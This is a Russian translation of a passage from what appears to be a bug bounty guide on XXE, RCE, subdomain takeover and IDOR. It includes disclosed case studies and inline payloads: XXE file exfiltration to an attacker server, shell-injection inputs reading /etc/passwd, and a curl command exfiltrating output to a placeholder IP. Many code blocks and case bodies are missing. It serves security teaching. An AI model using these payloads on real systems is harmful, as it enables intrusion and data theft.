Доска вакансий может предоставить вам свой файл DTD и предполагать, что вы отправите файл, соответствующий требованиям. Вместо получения содержимого "website.txt" через !ENTITY можно заставить сущность получить содержимое "/etc/passwd". XML будет разобран, а содержимое серверного файла /etc/passwd включено в наши данные. (Изначально файл /etc/passwd хранил все имена пользователей и пароли системы Linux. Хотя теперь системы Linux хранят пароли в /etc/shadow, чтение файла /etc/passwd по-прежнему часто используют, чтобы доказать существование уязвимости.)

Можно отправить, например, следующее:

Анализатор получает этот код и распознаёт внутренний DTD, определяющий тип документа foo. DTD сообщает анализатору, что foo может включать любые разбираемые данные; затем идёт сущность xxe, которая при разборе документа должна прочитать мой файл /etc/passwd (file:// обозначает полный путь URI к файлу /etc/passwd). Анализатор должен заменить элементы &xxe; содержимым этого файла. Наконец, XML определяет тег <foo>, содержащий &xxe;, что выводит сведения о моём сервере. Вот почему, друзья, XXE так опасна.

Но это ещё не всё. Что, если приложение не выводит ответ, а только разбирает моё содержимое? Если содержимое конфиденциального файла мне никогда не возвращается, останется ли уязвимость полезной? Что ж, вместо разбора локального файла можно обратиться к вредоносному серверу следующим образом:

Теперь при разборе документа XML сущность callhome заменяется содержимым обращения к www.<malicious>.com/?%xxe. Но для этого требуется вычислить %xxe согласно приведённому выше определению. Анализатор XML читает /etc/passwd и добавляет его как параметр к URL www.<malicous>.com/, тем самым отправляя содержимое файла в параметре URL. Поскольку вы управляете этим сервером, можно проверить его журнал - и действительно обнаружить там содержимое /etc/passwd.

Возможно, вы заметили, что в URL callhome используется %, а не &: %xxe;. % применяется, когда сущность должна вычисляться внутри определения DTD. & используется, когда сущность вычисляется в документе XML.

Сайты защищаются от уязвимостей XXE, отключая разбор внешних сущностей. Памятка OWASP по предотвращению внешних сущностей XML (owasp.org) содержит инструкции для различных языков.

Сложность: средняя

URL: google.com

Источник: blog.detectify.com

Дата сообщения: апрель 2014 года

Выплаченное вознаграждение: 10 000 долларов

Сложность: высокая

URL: facebook.com

Источник: блог Attack Secure

Дата сообщения: апрель 2014 года

Выплаченное вознаграждение: 6300 долларов Эта XXE в Facebook несколько сложнее предыдущего примера, поскольку включает удалённое обращение к серверу. В конце 2013 года Facebook исправила уязвимость XXE, обнаруженную Режиналду Силвой. Силва немедленно сообщил Facebook об XXE и попросил разрешения развить её до удалённого выполнения кода (этот вид уязвимостей рассматривается в главе 12). Он считал удалённое выполнение кода возможным, поскольку мог читать большинство файлов сервера и открывать произвольные сетевые соединения. Facebook провела расследование, согласилась с ним и выплатила 30 000 долларов.

В результате Мохамед Рамадан в апреле 2014 года поставил перед собой задачу взломать Facebook. Он не думал, что ещё одна XXE возможна, пока не нашёл страницу вакансий Facebook, позволявшую пользователям загружать файлы .docx. Тип файла .docx - всего лишь архив файлов XML. Рамадан создал файл .docx, открыл его в 7-Zip, чтобы извлечь содержимое, и вставил в один из файлов XML следующую нагрузку:

Если на цели включены внешние сущности, анализатор XML вычислит сущность %dtd;, которая выполнит удалённое обращение к серверу Рамадана 197.37.102.90. Это обращение вернёт следующее содержимое файла ext.dtd:

Сначала %dtd; обратится к внешнему файлу ext.dtd и сделает доступной сущность %send;. Затем анализатор разберёт %send;, что вызовет удалённое обращение к 197.37.102.90. %file; ссылается на файл /etc/passwd, поэтому его содержимое заменит %file; в запросе HTTP.

Для эксплуатации XXE обращаться к удалённому IP нужно не всегда, хотя это может быть полезно, если сайты разбирают удалённые файлы DTD, но блокируют чтение локальных файлов. Это похоже на подделку серверных запросов (SSRF), рассмотренную в главе 10. Если при SSRF сайт блокирует внутренние адреса, но разрешает обращения к внешним сайтам и переходит по перенаправлениям 301 на внутренние адреса, можно добиться подобного результата.

Затем Рамадан запустил на своём сервере локальный сервер HTTP при помощи Python и SimpleHTTPServer, чтобы принять обращение и содержимое:

Первая команда запускает Python SimpleHTTPServer, который возвращает сообщение "Serving HTTP on 0.0.0.0 port 80...". Терминал ждёт поступления запроса HTTP серверу. Сначала Рамадан не получил ответа, но продолжил ждать и наконец принял удалённое обращение за файлом /ext.dtd. Как и ожидалось, затем он увидел обратное обращение к серверу /FACEBOOK-HACKED?, но, к сожалению, без добавленного содержимого файла /etc/passwd. Это означало, что либо Рамадан не мог читать локальные файлы через уязвимость, либо /etc/passwd не существовал.

Прежде чем продолжить разбор отчёта, следует добавить: Рамадан мог отправить файл, который не выполнял удалённое обращение к его серверу, а просто пытался прочитать локальный файл. Но успешное первоначальное обращение за удалённым файлом DTD демонстрирует уязвимость XXE, тогда как неудачная попытка прочитать локальный файл - нет. Здесь, поскольку Рамадан записал обращения HTTP с Facebook к своему серверу, он мог доказать, что Facebook разбирала удалённые сущности XML и уязвимость существовала, хотя получить доступ к /etc/passwd не удалось.

Когда Рамадан сообщил об ошибке, Facebook попросила видеозапись демонстрации концепции, поскольку команда не могла воспроизвести загрузку. После того как Рамадан предоставил видео, Facebook отклонила отчёт и предположила, что специалист по подбору персонала перешёл по ссылке, вызвав запрос к его серверу. После обмена несколькими письмами команда Facebook провела более глубокое расследование, подтвердила существование уязвимости и назначила вознаграждение. В отличие от первоначальной XXE 2013 года, влияние XXE Рамадана нельзя было развить до удалённого выполнения кода, поэтому Facebook выплатила меньшее вознаграждение.

Здесь можно сделать несколько выводов. Файлы XML бывают разных форм и размеров: обращайте внимание на сайты, принимающие .docx, .xlsx, .pptx и другие типы файлов XML, поскольку их XML могут разбирать специализированные приложения. Сначала Facebook решила, что сотрудник перешёл по вредоносной ссылке, которая подключилась к серверу Рамадана, а это не считалось бы SSRF. Но после дальнейшего расследования Facebook подтвердила, что запрос был вызван другим способом.

Как вы видели в других примерах, иногда отчёты первоначально отклоняют. Если вы уверены в действительности уязвимости, важно сохранять уверенность и продолжать работать с компанией, которой вы сообщаете об ошибке. Не бойтесь объяснять, почему нечто может быть уязвимостью или иметь более высокую серьёзность, чем по первоначальной оценке компании.

Сложность: высокая

URL: wikiloc.com

Источник: davidsopas.com

Дата сообщения: октябрь 2015 года

Выплаченное вознаграждение: сувениры

Wikiloc - веб-сайт для поиска лучших маршрутов на природе и обмена ими: для пеших и велосипедных прогулок и многих других занятий. Он также позволяет пользователям загружать собственные маршруты в файлах XML, что оказалось очень заманчивым для хакеров-велосипедистов вроде Давида Сопаса.

Сопас зарегистрировался в Wikiloc и, заметив загрузку XML, решил проверить её на уязвимость XXE. Сначала он загрузил файл с сайта, чтобы определить структуру XML Wikiloc; в данном случае это был файл .gpx. Затем он изменил файл и загрузил его обратно. Вот файл с внесёнными им изменениями:

В первой строке файла он добавил определение внешней сущности. Затем вызвал сущность внутри имени маршрута в файле .gpx.

Загрузка файла обратно в Wikiloc привела к запросу HTTP GET к серверу Сопаса. Это примечательно по двум причинам. Во-первых, простой вызов для демонстрации концепции позволил Сопасу подтвердить, что сервер вычисляет внедрённый им XML и способен выполнять внешние обращения. Во-вторых, Сопас использовал существующий документ XML, поэтому его содержимое соответствовало структуре, которую ожидал сайт.

После того как Сопас подтвердил, что Wikiloc выполняет внешние запросы HTTP, оставалось выяснить лишь одно: будет ли сайт читать локальные файлы. Поэтому он изменил внедрённый XML так, чтобы Wikiloc отправил ему содержимое своего файла /etc/issue (файл /etc/issue вернёт вернёт используемую операционную систему):

Этот код должен показаться знакомым. Здесь Сопас использовал две сущности, определённые при помощи %, поскольку они будут вычисляться в DTD. Затем он получает файл xxe.dtd. Ссылка на &send; в теге определяется возвращённым файлом xxe.dtd, который Сопас отдаёт Wikiloc в ответ на удалённое обращение к его серверу. Вот файл xxe.dtd:

% all определяет сущность send. Выполнение Сопаса похоже на подход Рамадана к Facebook, но есть небольшое различие: Сопас попытался обеспечить включение всех мест, где могла выполняться XXE. Поэтому он вызывает %dtd; сразу после её определения во внутреннем DTD, а %all; - сразу после её определения во внешнем DTD. Выполняемый код находится во внутренней части сайта, поэтому вы, скорее всего, не будете точно знать, как была выполнена уязвимость. Но процесс разбора мог выглядеть так:

1. Wikiloc разбирает XML и вычисляет %dtd; как внешнее обращение к серверу Сопаса. Затем Wikiloc запрашивает файл xxe.dtd на сервере Сопаса.

2. Сервер Сопаса возвращает Wikiloc файл xxe.dtd.

3. Wikiloc разбирает полученный файл DTD, что вызывает обращение к %all.

4. При вычислении %all определяется &send;, включающая обращение к сущности %file.

5. Вызов %file; в значении URL заменяется содержимым файла /etc/issue.

6. Wikiloc разбирает документ XML. При этом разбирается сущность &send;, которая вычисляется как удалённое обращение к серверу Сопаса с содержимым файла /etc/issue в качестве параметра URL.

По его собственным словам, игра окончена.

Это отличный пример того, как использовать шаблоны XML сайта для встраивания собственных сущностей XML, чтобы файл был разобран целью. Здесь Wikiloc ожидал файл .gpx, а Сопас сохранил эту структуру, вставив собственные сущности XML внутрь ожидаемых тегов. Кроме того, интересно увидеть, как можно отдать вредоносный файл DTD, чтобы цель выполняла запросы GET к вашему серверу с содержимым файлов в параметрах URL. Это простой способ облегчить извлечение данных, поскольку параметры GET будут записаны в журнале вашего сервера.

XXE представляет вектор атаки с огромным потенциалом. Атаку XXE можно выполнить несколькими способами: заставить уязвимое приложение вывести свой файл /etc/passwd, обратиться к удалённому серверу с использованием содержимого файла /etc/passwd и запросить удалённый файл DTD, который предписывает анализатору выполнить обратное обращение к серверу с файлом /etc/passwd.

Поскольку автор может определить любой тег, допустимый документ XML должен соблюдать набор общих правил XML (они выходят за рамки книги, но наличие закрывающего тега - один из примеров) и соответствовать определению типа документа (document type definition, DTD). DTD XML - это набор объявлений, определяющих существующие элементы, возможные атрибуты и элементы, которые могут быть заключены внутри других элементов. (Элемент состоит из открывающего и закрывающего тегов: открывающий <foo> является тегом, закрывающий </foo> тоже является тегом, а <foo></foo> - элементом.) Файлы XML могут использовать внешний DTD либо внутренний DTD, определённый внутри документа XML.

RCE можно осуществить, выполняя команды оболочки, которые приложение не очищает. Оболочка предоставляет доступ из командной строки к службам операционной системы. Для примера представим, что сайт www.<example>.com предназначен для отправки эхо-запросов удалённому серверу, чтобы подтвердить его доступность.

Пользователи могут вызвать эту проверку, передав доменное имя параметру domain в www.example.com?domain=, которое PHP-код сайта обрабатывает следующим образом:

При посещении www.<example>.com?domain=google.com значение google.com присваивается переменной $domain, а затем эта переменная передаётся непосредственно функции shell_exec как аргумент команды ping. Функция shell_exec выполняет команду оболочки и возвращает полный вывод как строку.

Вывод команды выглядит примерно так:

Подробности ответа не важны: достаточно знать, что переменная $domain передаётся непосредственно команде shell_exec без очистки. В bash, популярной оболочке, команды можно соединять точкой с запятой. Поэтому злоумышленник может посетить URL www.<example>.com?domain=google.com;id, и функция shell_exec выполнит команды ping и id. Команда id выводит сведения о текущем пользователе, выполняющем команду на сервере. Например, вывод может выглядеть так:

Сервер выполняет две команды, поэтому в ответе отображается вывод команды ping вместе с выводом команды id. Вывод id указывает, что веб-сайт запускает приложение на сервере от имени пользователя yaworsk с uid 1000, который принадлежит gid и группе 1000 с тем же именем yaworsk.

Права пользователя yaworsk определяют серьёзность этой уязвимости RCE. В данном примере злоумышленник может прочитать код сайта командой ;cat FILENAME (где FILENAME - читаемый файл) и, возможно, записывать файлы в некоторые каталоги. Если сайт использует базу данных, злоумышленник, вероятно, сможет выгрузить и её.

Этот вид RCE возникает, если сайт доверяет управляемому пользователем вводу, не очищая его. Устранить уязвимость просто. Разработчик веб-сайта на PHP может использовать escapeshellcmd, которая экранирует все символы строки, способные обманом заставить оболочку выполнить произвольные команды.

В результате все добавленные к параметру URL команды будут прочитаны как одно экранированное значение. Это означает, что команде ping было бы передано google.com\;id, что привело бы к ошибке ping: google.com;id: Name or service not known.

Хотя специальные символы будут экранированы, чтобы избежать выполнения дополнительных произвольных команд, помните: escapeshellcmd не помешает передавать флаги командной строки. Флаг - необязательный аргумент, изменяющий поведение команды. Например, -o - распространённый флаг для определения файла, в который записывается вывод команды. Передача флага может изменить поведение команды и, возможно, привести к уязвимости RCE. Из-за таких нюансов предотвращать RCE бывает непросто.

RCE также можно осуществить выполнением функций. Например, если бы www.<example>.com позволял пользователям создавать, просматривать и редактировать записи блога через URL вроде www.<example>.com?id=1&action=view, код этих действий мог бы выглядеть так:

Здесь веб-сайт использует функцию PHP call_user_func, которая вызывает первый переданный аргумент как функцию, а остальные параметры передаёт этой функции как аргументы. В данном случае приложение вызовет функцию view, присвоенную переменной action, и передаст функции значение 1. Предположительно, эта команда покажет первую запись блога.

Но если злоумышленник посетит URL www.<example>.com?id=/etc/passwd&action=file_get_contents, этот код вычислится следующим образом:

Передача file_get_contents как аргумента action вызывает эту функцию PHP для чтения содержимого файла в строку. Здесь файл /etc/passwd передаётся как параметр id. Затем /etc/passwd передаётся как аргумент file_get_contents, в результате чего файл читается. Злоумышленник может использовать уязвимость, чтобы прочитать исходный код всего приложения, получить учётные данные базы данных, записывать файлы на сервер и так далее. Вместо первой записи блога вывод будет выглядеть так:

Если функции, передаваемые параметру action, не очищаются и не фильтруются, злоумышленник также может вызывать команды оболочки при помощи функций PHP, таких как shell_exec, exec, system и других.

Оба вида RCE способны иметь самые разные последствия. Если злоумышленник может выполнить любую функцию языка программирования, скорее всего, он сумеет развить уязвимость до выполнения команд оболочки. Выполнение команд оболочки часто критичнее, поскольку злоумышленник может скомпрометировать весь сервер, а не только приложение. Масштаб уязвимости зависит от прав пользователя сервера или от того, может ли злоумышленник эксплуатировать другую ошибку для повышения прав пользователя, что обычно называют локальным повышением привилегий (local privilege escalation, LPE).

Полное объяснение LPE выходит за рамки книги, но достаточно знать, что LPE обычно происходит при эксплуатации уязвимостей ядра, служб, работающих от имени root, или исполняемых файлов с установленным идентификатором пользователя (set user ID, SUID). Ядро - это операционная система компьютера. Эксплуатация уязвимости ядра может позволить злоумышленнику повысить свои права и выполнять действия, на которые у него иначе не было бы разрешения. Если эксплуатировать ядро нельзя, злоумышленник может попытаться атаковать службы, работающие от имени root. В норме службы не должны работать от имени root; такая уязвимость часто возникает, когда администратор игнорирует соображения безопасности и запускает службу от имени пользователя root. Если администратор скомпрометирован, злоумышленник может обратиться к службе, работающей от имени root, и все выполняемые ею команды будут иметь повышенные права root. Наконец, злоумышленник может эксплуатировать SUID, который позволяет пользователям выполнять файл с правами заданного пользователя. Хотя эта возможность предназначена для повышения безопасности, при неверной настройке она позволяет злоумышленникам выполнять команды с повышенными правами, подобно службам, работающим от имени root.

Из-за разнообразия операционных систем, серверного программного обеспечения, языков программирования, фреймворков и прочего, используемого для размещения веб-сайтов, невозможно подробно описать все способы внедрения функций или команд оболочки. Но существуют закономерности, позволяющие находить признаки возможных RCE, не видя код приложения. В первом примере тревожным признаком было выполнение сайтом команды ping, являющейся командой системного уровня.

Во втором примере тревожным признаком стал параметр action, поскольку он позволял управлять функцией, выполняемой на сервере. При поиске подобных признаков изучайте параметры и значения, передаваемые сайту. Такое поведение легко проверить, передавая параметрам вместо ожидаемых значений системные действия или специальные символы командной строки, например точки с запятой или обратные кавычки.

Ещё одна распространённая причина RCE на уровне приложения - неограниченная загрузка файлов, которые сервер выполняет при посещении. Например, если веб-сайт PHP позволяет загружать файлы в рабочую область, но не ограничивает их тип, можно загрузить файл PHP и перейти к нему. Поскольку уязвимый сервер не может отличить законные файлы PHP приложения от вашей вредоносной загрузки, файл будет интерпретирован как PHP, а его содержимое выполнено. Вот пример файла, позволяющего выполнять функции PHP, заданные параметром URL super_secret_web_param:

Если загрузить этот файл на www.<example>.com и обратиться к нему по адресу www.<example>.com/files/shell.php, системные команды можно выполнять, добавляя параметр с функцией, например ?super_secret_web_param='ls'. Это выведет содержимое каталога files. Будьте предельно осторожны при проверке такого вида уязвимости. Не все программы вознаграждения хотят, чтобы вы выполняли собственный код на их сервере. Если вы всё же загрузили подобную оболочку, обязательно удалите её, чтобы никто другой не нашёл и не использовал её со злым умыслом.

Более сложные примеры RCE часто возникают из-за тонкостей поведения приложений или ошибок программирования. Такие примеры уже рассматривались в главе 8. Инъекция в шаблон Uber Flask Jinja2 Оранжа Цая (страница 74) была RCE, позволившей ему выполнять собственные функции Python при помощи языка шаблонов Flask. Моя инъекция в шаблон Unikrn Smarty (страница 78) позволила эксплуатировать фреймворк Smarty для выполнения функций PHP, включая file_get_contents. Учитывая разнообразие RCE, здесь мы сосредоточимся на более традиционных примерах, чем уже показанные в предыдущих главах.

Сложность: средняя

URL: Polyvore.com (приобретение Yahoo!)

Источник: nahamsec.com

Дата сообщения: 5 мая 2016 года

Выплаченное вознаграждение: 2000 долларов

Изучение раскрытых уязвимостей широко используемых программных библиотек может быть эффективным способом обнаружить ошибки на сайтах, применяющих эти библиотеки. ImageMagick - распространённая графическая библиотека для обработки изображений, реализация которой существует в большинстве, если не во всех, основных языках программирования. Поэтому RCE в библиотеке ImageMagick может иметь разрушительные последствия для зависящих от неё веб-сайтов.

В апреле 2016 года сопровождающие ImageMagick публично раскрыли обновления библиотеки, исправляющие критические уязвимости. Обновления показали, что ImageMagick различными способами неправильно очищала ввод. Самая опасная из этих ошибок приводила к RCE через функциональность делегатов ImageMagick, которая обрабатывает файлы с использованием внешних библиотек. Следующий код делает это, передавая управляемый пользователем домен команде system() как местозаполнитель %M:

Это значение не очищалось перед использованием, поэтому передача https://example.com";|ls "-la превращалась в следующее:

Как и в предыдущем примере RCE, где дополнительные команды присоединялись к ping, этот код при помощи точки с запятой присоединяет дополнительную функцию командной строки к предусмотренной функциональности.

Функциональностью делегатов можно злоупотребить через типы файлов изображений, допускающие ссылки на внешние файлы. Примеры - SVG и определённый ImageMagick тип файла MVG. Обрабатывая изображение, ImageMagick пытается определить тип файла по содержимому, а не по расширению. Например, если разработчик пытался очистить загружаемые пользователями изображения, разрешая приложению принимать только пользовательские файлы, оканчивающиеся на .jpg, злоумышленник мог обойти очистку, переименовав файл .mvg в .jpg. Приложение сочло бы файл безопасным .jpg, но ImageMagick правильно распознала бы по содержимому тип MVG. Это позволило бы злоумышленнику эксплуатировать RCE в ImageMagick. Примеры вредоносных файлов для эксплуатации этой уязвимости ImageMagick доступны по адресу imagetragick.com.

После публичного раскрытия уязвимости и предоставления веб-сайтам времени для обновления кода Бен Садегипур начал искать сайты с неисправленными версиями ImageMagick. Сначала Садегипур воссоздал уязвимость на собственном сервере, чтобы подтвердить работоспособность вредоносного файла. Он выбрал пример файла MVG с imagetragick.com, но с тем же успехом мог использовать SVG, поскольку оба ссылаются на внешние файлы, что вызывает уязвимую функциональность делегатов ImageMagick. Вот его код:

Важная часть файла - строка image, содержащая вредоносный ввод. Разберём её. Первая часть эксплойта - 127.0.0.1. Это удалённый URL, который ImageMagick ожидает как часть поведения делегата. После него Садегипур ставит `id. В командной строке обратные кавычки (`) обозначают ввод, который оболочка должна обработать перед основной командой. Благодаря этому нагрузка Садегипура, описанная далее, обрабатывается немедленно.

Вертикальная черта (|) передаёт вывод одной команды следующей. Здесь вывод id передаётся curl http://SOMEIPADDRESS:8080/ -d @-. Библиотека cURL выполняет удалённые запросы HTTP, и в данном случае обращается к IP-адресу Садегипура, прослушивающему порт 8080. Флаг -d - параметр cURL для отправки данных в запросе POST. @ предписывает cURL использовать ввод в точности как получен, без дополнительной обработки. Дефис (-) означает использование стандартного ввода. Когда весь этот синтаксис объединён, вместе с вертикальной чертой (|), вывод команды id передаётся cURL как тело POST без какой-либо обработки. Наконец, код > /dev/null отбрасывает весь вывод команды, чтобы ничего не печаталось в терминале уязвимого сервера. Это помогает не дать цели понять, что её безопасность скомпрометирована.

Перед загрузкой файла Садегипур запустил сервер для прослушивания запросов HTTP при помощи Netcat, распространённой сетевой утилиты для чтения из соединений и записи в них. Он выполнил команду nc -l -n -vv -p 8080, позволившую Садегипуру записывать в журнал запросы POST к его серверу. Флаг -l включает режим прослушивания (для приёма запросов), -n запрещает поиски DNS, -vv включает подробное журналирование, а -p 8080 задаёт используемый порт.

Садегипур проверил нагрузку на сайте Yahoo! Polyvore. Загрузив на сайт свой файл как изображение, он получил следующий запрос POST, в теле которого находился результат команды id, выполненной на серверах Polyvore:

Этот запрос означал, что файл MVG Садегипура успешно выполнился, заставив уязвимый веб-сайт выполнить команду id.

Из ошибки Садегипура следуют два важных вывода. Во-первых, знание раскрытых уязвимостей даёт возможность проверять новый код, как упоминалось в предыдущих главах. Если вы проверяете крупные библиотеки, также выясняйте, правильно ли компании, чьи веб-сайты вы проверяете, управляют обновлениями безопасности. Некоторые программы попросят не сообщать о неустановленных обновлениях в течение определённого времени после раскрытия, но по его истечении об уязвимости можно сообщить. Во-вторых, воспроизведение уязвимостей на собственных серверах - прекрасная возможность для обучения. Оно гарантирует работоспособность нагрузок, когда вы попытаетесь применить их в программе вознаграждения за ошибки.

Сложность: высокая

URL: facebooksearch.algolia.com

Источник: hackerone.com

Дата сообщения: 25 апреля 2016 года

Выплаченное вознаграждение: 500 долларов Правильная разведка - важная часть хакинга. 25 апреля 2016 года Михил Принс (сооснователь HackerOne) проводил разведку на algolia.com при помощи инструмента Gitrob. Этот инструмент принимает как исходную точку репозиторий, пользователя или организацию GitHub и обходит все репозитории, которые может найти у связанных с ними людей. Во всех найденных репозиториях он ищет конфиденциальные файлы по ключевым словам вроде password, secret, database и другим.

Сложность: высокая

URL: неприменимо

Источник: blog.jr0ch17.com/2018/No-RCE-then-SSH-to-the-box/

Дата сообщения: осень 2017 года

Выплаченное вознаграждение: не раскрыто

RCE, как и многие другие уязвимости из этой книги, обычно возникает, когда пользовательский ввод неправильно очищается перед использованием. В первом отчёте об ошибке ImageMagick неправильно экранировала содержимое перед передачей системным командам. Чтобы найти эту ошибку, Садегипур сначала воссоздал уязвимость на собственном сервере, а затем начал искать серверы без исправления. В отличие от него, Принс обнаружил секрет, позволивший подделывать подписанные файлы cookie. Наконец, Ландри нашёл способ записывать на сервер произвольные файлы и использовал его, чтобы перезаписать ключи SSH и войти от имени root. Все трое применили разные способы получения RCE, но каждый воспользовался тем, что сайт принимал неочищенный ввод.

Чтобы понять работу уязвимости перехвата поддомена, сначала нужно рассмотреть регистрацию и использование доменных имён. Домены - это URL для доступа к веб-сайтам, которые серверы доменных имён (DNS) сопоставляют IP-адресам. Домены организованы иерархически, а каждая часть отделена точкой. Последняя, крайняя справа часть домена - домен верхнего уровня. Примеры доменов верхнего уровня: .com, .ca, .info и так далее. Следующий уровень доменной иерархии - доменное имя, регистрируемое людьми или компаниями. Эта часть иерархии обеспечивает доступ к веб-сайтам. Например, предположим, что <example>.com - зарегистрированный домен с доменом верхнего уровня .com. Следующая ступень иерархии является темой этой главы: поддомены.

Перехват поддомена происходит, когда пользователь может управлять IP-адресами или URL, на которые указывает запись A или CNAME. Распространённый пример такой уязвимости связан с платформой размещения веб-сайтов Heroku. В обычном рабочем процессе разработчик сайта создаёт новое приложение и размещает его на Heroku. Затем разработчик создаёт запись CNAME для поддомена своего основного сайта и направляет поддомен на Heroku. Вот гипотетический пример того, как ситуация может пойти не так:

Сложность: низкая

URL: assets.goubiquiti.com

Источник: hackerone.com

Дата сообщения: 10 января 2016 года

Выплаченное вознаграждение: 500 долларов

Сложность: низкая

URL: support.scan.me

Источник: hackerone.com

Дата сообщения: 2 февраля 2016 года

Выплаченное вознаграждение: 1000 долларов

Сложность: низкая

URL: windsor.shopify.com

Источник: hackerone.com Дата сообщения: 10 июля 2016 года

Выплаченное вознаграждение: 500 долларов

Сложность: средняя

URL: fastly.sc-cdn.net

Источник: hackerone.com

Дата сообщения: 27 июля 2016 года

Выплаченное вознаграждение: 3000 долларов Fastly - сеть доставки содержимого (content delivery network, CDN). CDN хранит копии содержимого на серверах по всему миру, чтобы доставлять его запрашивающим пользователям за меньшее время и с меньшего расстояния.

Сложность: средняя

URL: api.legalrobot.com

Источник: hackerone.com

Дата сообщения: 1 июля 2016 года

Выплаченное вознаграждение: 100 долларов

Даже когда сайты правильно настраивают свои поддомены в сторонних службах, сами эти службы могут быть подвержены ошибкам настройки.

Именно это обнаружил Франс Розен 1 июля 2016 года, отправив отчёт Legal Robot. Он уведомил компанию, что её запись DNS CNAME для api.legalrobot.com указывает на Modulus.io и что он может перехватить этот поддомен.

Как вы теперь, вероятно, понимаете, увидев подобную страницу ошибки, хакер должен следующим шагом посетить службу и заявить права на поддомен. Но попытка заявить права на api.legalrobot.com привела к ошибке, поскольку Legal Robot уже сделала это.

Вместо того чтобы отступить, Розен попытался заявить права на групповой поддомен Legal Robot *.legalrobot.com, который был доступен. Конфигурация Modulus позволяла групповым поддоменам переопределять более конкретные поддомены, включая в данном случае api.legalrobot.com. Заявив права на групповой домен, Розен смог разместить собственное содержимое на api.legalrobot.com, как показано на рисунке 14-1.

Рисунок 14-1. Исходный код страницы HTML, предоставленный Франсом Розеном как демонстрация концепции перехвата поддомена.

Обратите внимание на содержимое, размещённое Розеном на рисунке 14-1. Вместо публикации компрометирующей страницы с заявлением о перехвате поддомена он использовал ненавязчивую текстовую страницу с комментарием HTML, подтверждавшим, что за содержимое отвечал он.

Когда сайты полагаются на сторонние службы для размещения поддомена, они полагаются и на безопасность этой службы. Здесь Legal Robot считала, что правильно заявила права на свой поддомен в Modulus, тогда как в службе существовала уязвимость, позволявшая групповым поддоменам переопределять все остальные поддомены. Также помните: если вам удалось заявить права на поддомен, лучше использовать ненавязчивую демонстрацию концепции, чтобы не компрометировать компанию, которой вы сообщаете об ошибке.

Сложность: средняя

URL: em.uber.com

Источник: hackerone.com

Дата сообщения: 4 августа 2016 года

Выплаченное вознаграждение: 10 000 долларов

Перехват поддомена может быть вызван просто незаявленной записью DNS сайта, указывающей на стороннюю службу. Среди примеров этой главы - Heroku, Fastly, S3, Zendesk, SendGrid и незарегистрированные домены, но этому виду ошибок подвержены и другие службы. Находить такие уязвимости можно при помощи инструментов KnockPy, crt.sh, censys.io, а также других инструментов из приложения A.

Одни уязвимости IDOR найти легче, чем другие. Самая простая IDOR похожа на предыдущий пример: идентификатор является простым целым числом, которое автоматически увеличивается при создании новых записей. Чтобы проверить такую IDOR, достаточно прибавить или вычесть 1 из параметра id и подтвердить доступ к записям, которые не должны быть вам доступны.

Сложные IDOR могут возникать, когда параметр id скрыт в теле POST или его нелегко распознать по имени. Вы, вероятно, встретите неочевидные параметры, например ref, user или column, используемые как идентификаторы. Даже если ID трудно выделить по имени параметра, параметр можно распознать по принимаемым целым значениям. Найдя параметр с целым значением, проверьте, как меняется поведение сайта при изменении ID. И здесь Burp может упростить работу: перехватывайте запросы HTTP, изменяйте ID и повторно воспроизводите запрос инструментом Repeater.

Сложность: низкая

URL: www.binary.com

Источник: hackerone.com

Дата сообщения: 6 ноября 2015 года

Выплаченное вознаграждение: 300 долларов

Сложность: средняя

URL: moneybird.com

Источник: hackerone.com

Дата сообщения: 3 мая 2016 года

Выплаченное вознаграждение: 100 долларов

В мае 2016 года я начал проверять Moneybird на уязвимости, сосредоточившись на разрешениях учётных записей пользователей. Для этого я создал компанию в учётной записи A, а затем пригласил присоединиться второго пользователя, учётную запись B, с ограниченными правами. Moneybird определяет разрешения, назначаемые добавленным пользователям, например возможность работать со счетами, сметами и так далее.

Пользователь с полными правами мог создавать приложения и включать доступ к API. Например, пользователь мог отправить запрос POST для создания приложения с полными правами, который выглядел бы так:

Как видно, тело POST содержит параметр administration_id. Это ID учётной записи, в которую добавляются пользователи. Хотя длина и случайность ID затрудняют его угадывание, идентификатор сразу раскрывался добавленным пользователям, когда они посещали пригласившую их учётную запись. Например, когда учётная запись B входила и посещала A, её перенаправляли на URL moneybird.com, где ABCDEFGHIJKLMNOP был administration_id учётной записи A.

Я проверил, может ли учётная запись B создать приложение для компании учётной записи A без необходимых прав. Я вошёл как B и создал вторую компанию, единственным участником которой была учётная запись B. Это предоставило бы B полные права во второй компании, хотя в A запись B должна была иметь ограниченные права и не могла создавать для неё приложения.

Затем я посетил страницу настроек B, создал приложение и при помощи Burp Suite перехватил вызов POST, чтобы заменить administration_id идентификатором учётной записи A. Передача изменённого запроса подтвердила работоспособность уязвимости. Как учётная запись B я получил приложение с полными правами в учётной записи A. Это позволило B обойти ограниченные права своей записи и через новое приложение выполнять любые действия, к которым иначе не было доступа.

Ищите параметры, которые могут содержать значения ID, например любые имена параметров с символами id. Особое внимание обращайте на значения параметров, содержащие только цифры: такие ID, вероятно, формируются некоторым предсказуемым способом. Если угадать ID нельзя, выясните, не утекает ли он где-нибудь. Я заметил administrator_id благодаря ссылке на ID в его имени. Хотя значения ID не следовали угадываемому шаблону, значение раскрывалось в URL всякий раз, когда пользователя приглашали в компанию.

Сложность: средняя

URL: mopub.com

Источник: hackerone.com

Дата сообщения: 24 октября 2015 года

Выплаченное вознаграждение: 5040 долларов

Обнаружив любую уязвимость, обязательно подумайте о влиянии её эксплуатации злоумышленником. В октябре 2015 года Ахил Рени сообщил, что приложение Twitter Mopub (приобретённое в 2013 году) уязвимо для IDOR, раскрывавшей ключи API и секрет. Но через несколько недель Рени понял, что уязвимость серьёзнее, чем в первоначальном отчёте, и отправил дополнение. К счастью, он сделал это до выплаты Twitter вознаграждения за уязвимость.

В первоначальном отчёте Рени обнаружил, что конечная точка Mopub неправильно авторизовывала пользователей и раскрывала в ответе POST ключ API учётной записи и build_secret. Запрос POST выглядел так:

Ответ на запрос был следующим:

Ответ POST Mopub предоставляет api_key и build_secret, о которых Рени сообщил Twitter в первоначальном отчёте. Но для доступа к сведениям также требуется знать organization_id - непредсказуемую 24-значную строку. Рени заметил, что пользователи могут публично делиться проблемами аварийного завершения приложений через URL вроде http://crashes.to/s/<11 CHARACTERS>. Посещение одного из таких URL возвращало непредсказуемый organization_id в теле ответа. Рени смог перечислять значения organization_id, посещая URL из результатов дорка Google site:http://crashes.to/s/. С api_key, build_secret и organization_id злоумышленник мог красть токены API.

